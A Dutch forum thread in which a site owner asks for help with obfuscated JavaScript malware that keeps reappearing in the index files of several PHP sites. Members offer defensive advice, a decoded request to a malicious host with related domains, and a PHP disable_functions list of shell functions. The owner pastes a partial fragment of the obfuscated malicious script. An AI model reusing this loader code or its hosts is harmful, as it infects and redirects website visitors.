Iemand met veel verstand van php scripts en server beveiliging!

[G.Bos]

Is eigenlijk niet de plaats om mijn problemen hier voor te leggen, maar ik zou graag aan alle leden van HL willen vragen of ze wellicht iemand kennen die erg handig is met PHP, virus scripts in PHP en server beveiliging.

 

Het volgende is het geval namelijk:

 

Bij enkele websites van mij ( gebouwd in PHP) heb ik ongelofelijk last van een virus script.

De websites staan op verschillende servers bij verschillende providers, het enige wat ze gemeen hebben is dat het PHP websites zijn.

 

Het script nestelt zich alleen in de index files van de website ( index.php / index.html / index2.html etc.)

Het gecodeerde script zorgt voor erg schadelijke virussen op de pc’s van gebruikers en doorlinks naar rare websites zoals “mysexydreams.net”

 

We hebben de scripts proberen te verwijderen, maar na enkele uren / een dag stond het er weer op..

Ook hebben we geprobeerd de CHMOD aan te passen naar 444, maar ook dit werd weer terug gezet.

 

Ik heb enkele van de websites offline moeten gooien, omdat de ellende niet te overzien was.

Of de hacker nu via ftp ofzo toegang krijgt is mij niet duidelijk.

 

Heeft iemand enig idee wat we hieraan kunnen doen, een script dat zich in index. .. nestelt en steeds terugkeert..

Kunnen we ons beveiligen?

 

[StevenK]

Ik blijf er alleen wel bij dat je opmerking over 'scripttalen als PHP' nog steeds kant noch wal raakt. Alle software die je op een webserver installeert met de verkeerde instellingen kan een veiligheidsrisico opleveren, evenals onveilig geprogrammeerde code. En of die code nu in PHP, Perl, Java of ,NET geschreven is maakt werkelijk geen donder uit.

 

Ik begrijp niet dat mensen blijven volhouden dat je in java servlets met b.v. een hibernate database, wat een industry standard is, scripts kunt injecteren. Dat kan echt niet.

'Kan niet' bestaat niet in de IT.

 

Geen enkel platform is 100% veilig en het probleem met jouw berichten is nu net dat jij lijkt te denken dat het ene platform wel en het andere niet veilig is. Wel is het zo dat de drempel om in php te programmeren veel lager is, waardoor er veel meer geprutst wordt in php dan in talen en platformen waarin de 'Hello world!' drempel een stuk hoger ligt.

 

Maar dat rechtvaardigt nog niet dat je het platform als 'onveilig' in de hoek zet.

 

Het feit dat er veel onervaren bestuurders ongevallen hebben in golfjes en astra's, maakt van golfjes en astra's toch ook geen onveilige auto's?

[R.I.P. | Peter Bonjernoor]

Ik vind het dan ook onverantwoord om sites te bouwen in een scripting taal als PHP, als je niet in staat bent om die site voldoende veilig te maken.

 

Los van het feit dat deze opmerking werkelijk niets bijdraagt aan het onderwerp is het weer een herhaling van een misvatting die je hier maar eindeloos blijft ventileren, ondanks dat je stelling net zo vaak helemaal onderuit gehaald is.

 

Hou daar nou eens mee op, alstjeblieft. Voor het volgende onderwerp waarin PHP aan de orde komt heb ik een tip voor je:

Zen is het vermogen je mond te houden als idereen denkt dat je iets gaat zeggen

[R.I.P. | Peter Bonjernoor]

Het is wel grappig om zoveel anonieme kneuzen te krijgen met commentaren die echt onwaar zijn :-)

 

Och, als je regelmatig nogal ongenuanceerd uit de hoek komt kun je dat verwachten. Kijk maar in mijn lijstje - zelfde verhaal.

 

Ik blijf er alleen wel bij dat je opmerking over 'scripttalen als PHP' nog steeds kant noch wal raakt. Alle software die je op een webserver installeert met de verkeerde instellingen kan een veiligheidsrisico opleveren, evenals onveilig geprogrammeerde code. En of die code nu in PHP, Perl, Java of ,NET geschreven is maakt werkelijk geen donder uit.

 

Daar hebben we het al eerder over gehad, en ondanks dat blijf je maar doormelen over PHP, en dat gaat steeds meer irriteren...

[StevenK]

Je hebt waarschijnlijk last van 'code injection', wat betekent dat je ergens een GET of POST niet voldoende controleert of er misschien php of SQL code in zit.

 

De manier om dit uit te zoeken is in je logs al je GET en POST requests na te lopen en kijken wat voor gekkigheid daar voorbij komt. Zodra je daar de vreemde eend hebt gevonden, kun je dan zoeken waar het lek zit.

[renep]

Nogmaals, je moet niet zozeer kijken naar de geplaatste malware, maar naar:

 

1. De broncode van de applicatie (want daarin zit vermoedelijk een lek als sql-injection of cross-site scripting).

 

2. De logfile van de webserver (want daarin staan misschien opvallende POST/GET requests, die een aanwijzing geven waar het lek zit).

 

Net als bij een lekke band: je onderzoekt de band met het lek, niet de lucht die door het lek stroomt :)

[Christine]

Beste Cristine, ik denk dat je niet te snel mag oordelen over dit probleem, als je niet genoeg informatie hebt.

De problemen die wij ondervinden zijn zo onbekend dat een speciaal team van hoster leaseweb zich inmiddels al een aantal dagen buigt over de materie.

 

Je veronderstelt dat een "speciaal team van Leasweb" deskundig is op dit gebied. Feit is dat jij iets maakt in PHP en dat je inbraken op je scripts krijgt die anderen niet krijgen. Dan doe je iets fout. Het feit dat je dan hier om advies moet vragen laat zien dat je geen expert bent op het gebied van PHP, want dan vroeg je het op een forum voor PHP programmeurs. En zoals je weet of had kunnen weten waarschuw ik op HL regelmatig voor het maken van PHP scripts door mensen die daar geen verstand van hebben, juist vanwege het soort gevolgen waar jij nu mee wordt geconfronteerd.

 

Iedere server op het internet wordt om de zoveel seconden benaderd door een malafide script dat probeert in te breken om een virus of trojan te installeren. Zo'n script weet de honderd meest voorkomende fouten die een PHP programmeur maakt, en ziet dan kans in te breken als inderdaad zo'n fout is gemaakt. Jij hebt een grote fout in je script, en iedere keer dat je site online is komt er zo'n aanvaller voorbij om z'n malware te installeren. Ik denk dat het niet eens steeds dezelfde is, maar dat het steeds een andere bot is die de fout herkent die in jouw site zit en er gebruik van maakt. De kans is groot dat het om een spam bot gaat die bezoekers van jouw site infecteert met zombie software waar spammers gebruik van maken.

 

Wat jouw site verkeerd doet is wat iemand anders hierboven al heeft opgemerkt, dat je site code van buiten accepteert en uitvoert. Dat kan zijn via een invoerveld of een zoekveld op je site, het kan ook zijn dat ze een script toevoegen in de url en dat jouw programma dat script klakkeloos uitvoert. Bedenk wel dat deze aanvallers heel inventief zijn en dat er heel rare manieren zijn om in een site binnen te komen.

 

Als dit alleen gevolgen voor jou en je site zou hebben zou ik misschien niet eens gereageerd hebben. Maar het feit dat iedere bezoeker van je site een besmette computer oploopt vind ik toch wel ernstig. Er zijn al heel wat namen voorbij gekomen van mensen die verstand hebben van PHP, en ik weet zeker dat ieder van die mensen je binnen een uur kan vertellen wat er fout is.

 

 

[G.Bos]

Er zijn nu meerdere mensen bezig met het probleem, daar wil ik hen voor bedanken.

 

@ Cristine: ik weet niet precies wat je er mee wil bereiken door zonder al te veel

voorkennis dingen te roepen, maar zoals je aan de reacties van de mede

forumgebruikers ziet baseer jij je mening waarschijnlijk op slechte herrinneringen

en ervaringen en niet op de feiten.

 

Als wij niet wisten hoe we een website veilig moesten maken, was ik nooit met mijn

bedrijfje begonnen. Het feit dat ik externe expertise inroep om een zeer onbekend

probleem aan te pakken, getuigt niet van onkunde maar van verstandig handelen.

 

Ik wil graag iedereen bedanken voor zijn/ haar hulp in deze voor mij lastige tijden.

Het support was van grote hulp en hopelijk komt hier een oplossing uit voort...

 

 

[spruce]

Als ik dat stukje code decrypt en analyseer, dan voert hij de volgende actie uit:

 

http://8speed.info/t/?255774fe316

GET /t/?255774fe316 HTTP/1.1
Host: 8speed.info
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cache-Control: max-age=0

HTTP/1.x 404 Not Found
Date: Sun, 28 Dec 2008 21:00:18 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
----------------------------------------------------------

Het zit best creatief in elkaar moet ik zeggen.

Uiteraard bestaat die pagina niet meer, want ze zijn ook niet gek.

Maar je hebt duidelijk te maken met complexe malware, verbaas me elke keer weer hoe ze het verzonnen krijgen.

 

8speed.info is a domain controlled by two nameservers at firmtop.net. They are on the same IP network. 8speed.info has one IP record. 2speed.info, 1speed.info, 1sense.info, ns2.1sense.info, ns2.2speed.info and at least 16 other hosts point to the same IP. 2speed.info, 1speed.info, 1sense.info, add-block-plus.net, add-block-filter.net and at least one other host use this as a nameserver. 2speed.info, 1speed.info, 1sense.info, add-block-plus.net, add-block-filter.net and at least one other host use this as a mailserver. google-analistic.com share nameservers with this domain. ns1.8speed.info, ns2.8speed.info and mail.8speed.info are subdomains to this hostname. 
[/code

 

Tussen bovenstaande domeinen zitten voor mij een paar bekenden die ik al eens eerder ben tegen gekomen.

Voorlopig lijkt het uit china te komen.

[willemj]

Wat draait er nog meer op die server?

 

Denk dat dat de cruciale vraag is. Het lijkt me namelijk erg sterk dat het om een bug gaat in zelf geschreven software; veel te kostbaar om met de hand 'in te gaan breken'. Een 'worm' dat gebruikt maakt van een bekende bug is, zeker gezien het feit dat de besmetting telkens terug komt, veel aannemelijker. Lijstje maken van alle software en PHP libraries die je gebruikt (grep 'require' en 'include' op je code) en zoeken bij securityfocus (zie vorige post van me in dit draadje)

[G.Bos]

 

 

Ik hoop wel dat de betreffende server sinds de ontdekking van de inbraken niet meer online is?

 

 

Nee maak je geen zorgen, de hele zooi meteen oflline gezet.. dit hebben we gedaan omdat we de veiligheid van de bezoekers niet kunnen garanderen..

 

Hier werdt overigens met veel begrip op gereageerd..

 

 

[renep]

en over moeten stappen op Java-applets?

 

Get real... ::)

 

Snel, bukken! ;D Christine zei servlets.

[Merkava]

Volgens mij zijn Peter Bonjernoor van Zaph en Willen Joosten van Jsoft goed in PHP.

Stuur hun even een PM, dit zijn eenpitters en staan zeer waarschijnlijk niet op de latten.

Er zijn er vast nog meer op het forum die dit probleem voor je op kunnen lossen maar dit zijn de mensen die zo 123 bij mij opkomen.

Dat los van mijn "eigen" webbouwers van Impression die er vast ook wel raad mee weten.

[Christine]

Martijn Brinkers is de beste php security expert die ik ken. Via Google eenvoudig te vinden volgens mij, anders via www.mitm.nl

 

[renep]

Heeft iemand enig idee wat we hieraan kunnen doen

 

Wachtwoorden wijzigen, log files checken, applicatiecode nalopen op checken en gebruiken van extern ingevoerde gegevens, directe toegang tot database server via Internet checken en zonodig afsluiten, ftp-toegang e.d. inperken, software updaten.

 

Elke vakbekwame software engineer die weleens een webapplicatie heeft gebouwd en een webserver heeft ingericht moet dat kunnen doen.

[Maarten]

Wat je in ieder geval kunt doen om het probleem tijdelijk op te lossen is er voor te zorgen dat alle gevaarlijke commando's niet meer werken. Dit kun je doen door de PHP configuratie te wijzigen door bijvoorbeeld .htaccess te gebruiken, of zelf de PHP code aan te passen en alle gevaarlijke dingen te verwijderen.

 

Het snelst gaat het via disable_functions, maar let wel op met servers waar meerdere website op draaien, sommige functies kunnen door andere websites legitiem gebruikt worden. Met het volgende stukje code ben je van de meest onveilige functies af, maar daarna moet je zeker nog je script door een goede programmeur laten controleren. Als code injection mogelijk is, dan zal het met andere mogelijkheden van misbruik ook niet al te best zijn.

 

disable_functions = "dl,phpinfo,shell_exec,passthru,exec,popen,system,

proc_get_status,proc_nice,proc_open,proc_terminate,proc_close"

 

@Christine, Onveilige code is overal in te schrijven, niet alleen in scripting talen. Maar die discussie hebben we volgens mij al een aantal keer gevoerd op HigherLevel.

 

 

 

[G.Bos]

 

Zo'n site levert een hoop ellende op niet alleen voor de eigenaar van de site maar ook voor bezoekers. Wie weet waar die allemaal hun pc mee besmetten door het bezoek aan je site. Ik vind het dan ook onverantwoord om sites te bouwen in een scripting taal als PHP, als je niet in staat bent om die site voldoende veilig te maken.

 

Beste Cristine, ik denk dat je niet te snel mag oordelen over dit probleem, als je niet genoeg informatie hebt.

De problemen die wij ondervinden zijn zo onbekend dat een speciaal team van hoster leaseweb zich inmiddels al een aantal dagen buigt over de materie.

 

ik respecteer je bijdrage aan deze discussie, maar vindt deze van onwetend niveau...

[G.Bos]

Heeft iemand enig idee wat we hieraan kunnen doen

 

Wachtwoorden wijzigen, log files checken, applicatiecode nalopen op checken en gebruiken van extern ingevoerde gegevens, directe toegang tot database server via Internet checken en zonodig afsluiten, ftp-toegang e.d. inperken, software updaten.

 

Elke vakbekwame software engineer die weleens een webapplicatie heeft gebouwd en een webserver heeft ingericht moet dat kunnen doen.

BEdankt voor je reactie voor je bijdrage, bovenstaande werkzaamheden hebben we natuurlijk al lang gedaan, en is overigens ook geen oplossing voor het probleem.

 

[renep]

bovenstaande werkzaamheden hebben we natuurlijk al lang gedaan

 

Aha, had dat dan even verteld.

 

En... welke requests voeren de boosdoeners zoal uit, en welke kwetsbaarheden heb je gevonden in de broncode?

[spruce]

Ik heb jaren lang php geprogrammeerd.

Ik vermoedt dat je hier structureel onveilige php code hebt geïmplementeerd.

Het opnieuw instellen van je PHP configuratie is een leuke tijdelijke oplossing, maar vaak beperkt het je tegelijk ook jezelf in bepaalde php functies.

Ik heb een vermoeden dat al je website gevoelig zijn voor cross-side scripting.

Dit is een veel gemaakte programmeerfout die zeer vervelende gevolgen kan hebben.

Op die manier kan zonder dta je het weet jou webserver misbruikt worden voor criminele toepassingen en het vervelende is dat jij daar bij de politie voor op het matje moet komen. Het is tenslotte jou server.

 

 

Ik ben bang dat ik broncode van je moet hebben om het op te kunnen lossen.

Als je me een url of IP adres geeft van de betreffende website(s), dan kan ik kijken of er XSS is toe te passen

 

[G.Bos]

bovenstaande werkzaamheden hebben we natuurlijk al lang gedaan

 

Aha, had dat dan even verteld.

 

En... welke requests voeren de boosdoeners zoal uit, en welke kwetsbaarheden heb je gevonden in de broncode?

 

ja sorry, dat had ik idd even moeten vertellen...

De opdrachten zijn random en verschillen van het doorlinken naar bijvoorbeeld een porno website en het inzetten van virussen op pc's.

[G.Bos]

Ik heb jaren lang php geprogrammeerd.

Ik vermoedt dat je hier structureel onveilige php code hebt geïmplementeerd.

Het opnieuw instellen van je PHP configuratie is een leuke tijdelijke oplossing, maar vaak beperkt het je tegelijk ook jezelf in bepaalde php functies.

Ik heb een vermoeden dat al je website gevoelig zijn voor cross-side scripting.

Dit is een veel gemaakte programmeerfout die zeer vervelende gevolgen kan hebben.

Op die manier kan zonder dta je het weet jou webserver misbruikt worden voor criminele toepassingen en het vervelende is dat jij daar bij de politie voor op het matje moet komen. Het is tenslotte jou server.

 

 

Ik ben bang dat ik broncode van je moet hebben om het op te kunnen lossen.

Als je me een url of IP adres geeft van de betreffende website(s), dan kan ik kijken of er XSS is toe te passen

 

 

ik zal je het een en ander qua informatie in de pm sturen, bedankt voor je reactie

[StevenK]

ja sorry, dat had ik idd even moeten vertellen...

De opdrachten zijn random en verschillen van het doorlinken naar bijvoorbeeld een porno website en het inzetten van virussen op pc's.

Dat is niet de vraag. De vraag is hoe de bijzondere GET / POST requests eruit zien. Op basis daarvan kun je zien waar de 'code injection' plaats vindt.

 

Overigens: heb je niet toevallig phpbb op die sites draaien?

[G.Bos]

nee helaas, geen phpbb websites draaien..

 

Het script is waarschijnlijk gecodeerd, hebben al meerdere mensen naar gekeken.

Het script ziet er als volgt uit ( net na de eerste bodytag)

 

46,55,34,27,36,21,19,54,24,33,

25,44,13,40,48,60,9,37,53,16,0,0,0,0,35,0,26,7,4,17,62,2,1,52,18,3,41,6,39,38,0,58,45,43,28,49,51,14,5,42,12,20);

for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<>=8;w-=2}else{w=6}}}eval(h);}}nlbnb25('2Dytv7sHcnqHCE9HQ5Q_G7ytDHOKv7sB55VucESP2_9U80R@Sa3Uy_9Bb0RI

c1VtD5kmy0snJBkIQ_2B7ITU8EqNZ6OPinqND0Rucvyty7sP87OXSl43CEqUc

I2t5MRuf8eB8CyPO1ytv7VtfvF@OvQn2B3@gNTmy0snJBQ_gNFIAN9UvEqU7pQnOxTUDDsufE9XsAkIQE9hl0VXFpVUQrqtCDSKc7ytD_FX664Uy_9Bb0yXSvF')

 

 

[Maarten]

nee helaas, geen phpbb websites draaien..

 

Het script is waarschijnlijk gecodeerd, hebben al meerdere mensen naar gekeken.

Het script ziet er als volgt uit ( net na de eerste bodytag)

 

Dat is niet de vraag van Steven, en denk ik niet dat je de problemen in Javascript moet zoeken. Steven vroeg:

 

De manier om dit uit te zoeken is in je logs al je GET en POST requests na te lopen en kijken wat voor gekkigheid daar voorbij komt. Zodra je daar de vreemde eend hebt gevonden, kun je dan zoeken waar het lek zit.

 

Dat is het eerste wat elke webhoster of programmeur zou doen, kijken wat er precies gebeurd met behulp van de logging. Als je dat nu eerst uit zoekt, dan weet je in ieder geval wat er fout gaan.

[willemj]

Als je standaard pakketten gebruikt als Joomla kun je bij securityfocus eenvoudig opzoeken of daar problemen in zitten.

 

Link naar een besmette site mag je op de pm zetten.